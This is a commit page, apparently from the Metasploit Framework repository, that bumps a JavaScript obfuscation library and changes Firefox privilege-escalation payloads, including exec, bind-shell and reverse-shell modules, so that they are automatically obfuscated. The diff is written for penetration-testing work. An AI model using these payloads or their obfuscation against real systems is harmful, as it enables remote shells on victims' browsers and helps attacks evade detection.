Skip to content

Commit b96a7ed

Browse files
committed
Install a global object in firefox payloads, bump jsobfu.
1 parent 5d234c0 commit b96a7ed

File tree

7 files changed

+20
-12
lines changed

7 files changed

+20
-12
lines changed

Gemfile.lock

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -5,7 +5,7 @@ PATH
55
actionpack (< 4.0.0)
66
activesupport (>= 3.0.0, < 4.0.0)
77
bcrypt
8-
jsobfu (~> 0.1.7)
8+
jsobfu (~> 0.2.0)
99
json
1010
metasploit-concern (~> 0.2.1)
1111
metasploit-model (~> 0.27.1)
@@ -91,7 +91,7 @@ GEM
9191
hike (1.2.3)
9292
i18n (0.6.11)
9393
journey (1.0.4)
94-
jsobfu (0.1.7)
94+
jsobfu (0.2.0)
9595
rkelly-remix (= 0.0.6)
9696
json (1.8.1)
9797
mail (2.5.4)

lib/msf/core/exploit/remote/firefox_privilege_escalation.rb

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -12,6 +12,7 @@
1212
module Msf
1313
module Exploit::Remote::FirefoxPrivilegeEscalation
1414

15+
# automatically obfuscate anything that runs through `js_exec`
1516
include Msf::Exploit::JSObfu
1617

1718
# Sends the +js+ code to the remote session, which executes it in Firefox's

lib/msf/core/payload/firefox.rb

Lines changed: 12 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -1,9 +1,13 @@
11
# -*- coding: binary -*-
22
require 'msf/core'
3+
require 'msf/core/exploit/jsobfu'
34
require 'json'
45

56
module Msf::Payload::Firefox
67

8+
# automatically obfuscate every Firefox payload
9+
include Msf::Exploit::JSObfu
10+
711
# Javascript source code of setTimeout(fn, delay)
812
# @return [String] javascript source code that exposes the setTimeout(fn, delay) method
913
def set_timeout_source
@@ -121,16 +125,15 @@ def run_cmd_source
121125
var retVal = null;
122126
123127
try {
124-
retVal = Function(js[1]).call({
125-
send: function(r){
126-
if (sent) return;
127-
sent = true;
128-
if (r) {
129-
if (sync) setTimeout(function(){ cb(false, r+tag+"\\n"); });
130-
else cb(false, r+tag+"\\n");
131-
}
128+
this.send = function(r){
129+
if (sent) return;
130+
sent = true;
131+
if (r) {
132+
if (sync) setTimeout(function(){ cb(false, r+tag+"\\n"); });
133+
else cb(false, r+tag+"\\n");
132134
}
133-
});
135+
};
136+
retVal = Function(js[1]).call(this);
134137
} catch (e) { retVal = e.message; }
135138
136139
sync = false;

metasploit-framework.gemspec

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -56,7 +56,7 @@ Gem::Specification.new do |spec|
5656
# Needed for some admin modules (cfme_manageiq_evm_pass_reset.rb)
5757
spec.add_runtime_dependency 'bcrypt'
5858
# Needed for Javascript obfuscation
59-
spec.add_runtime_dependency 'jsobfu', '~> 0.1.7'
59+
spec.add_runtime_dependency 'jsobfu', '~> 0.2.0'
6060
# Needed for some admin modules (scrutinizer_add_user.rb)
6161
spec.add_runtime_dependency 'json'
6262
# Metasploit::Concern hooks

modules/payloads/singles/firefox/exec.rb

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -34,6 +34,7 @@ def generate
3434
<<-EOS
3535
3636
(function(){
37+
window = this;
3738
#{read_file_source if datastore['WSCRIPT']}
3839
#{run_cmd_source if datastore['WSCRIPT']}
3940

modules/payloads/singles/firefox/shell_bind_tcp.rb

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -34,6 +34,7 @@ def initialize(info = {})
3434
def generate
3535
%Q|
3636
(function(){
37+
window = this;
3738
Components.utils.import("resource://gre/modules/NetUtil.jsm");
3839
var lport = #{datastore["LPORT"]};
3940
var rhost = "#{datastore['RHOST']}";

modules/payloads/singles/firefox/shell_reverse_tcp.rb

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -32,6 +32,8 @@ def generate
3232
<<-EOS
3333
3434
(function(){
35+
window = this;
36+
3537
Components.utils.import("resource://gre/modules/NetUtil.jsm");
3638
var host = '#{datastore["LHOST"]}';
3739
var port = #{datastore["LPORT"]};

0 commit comments

Comments
 (0)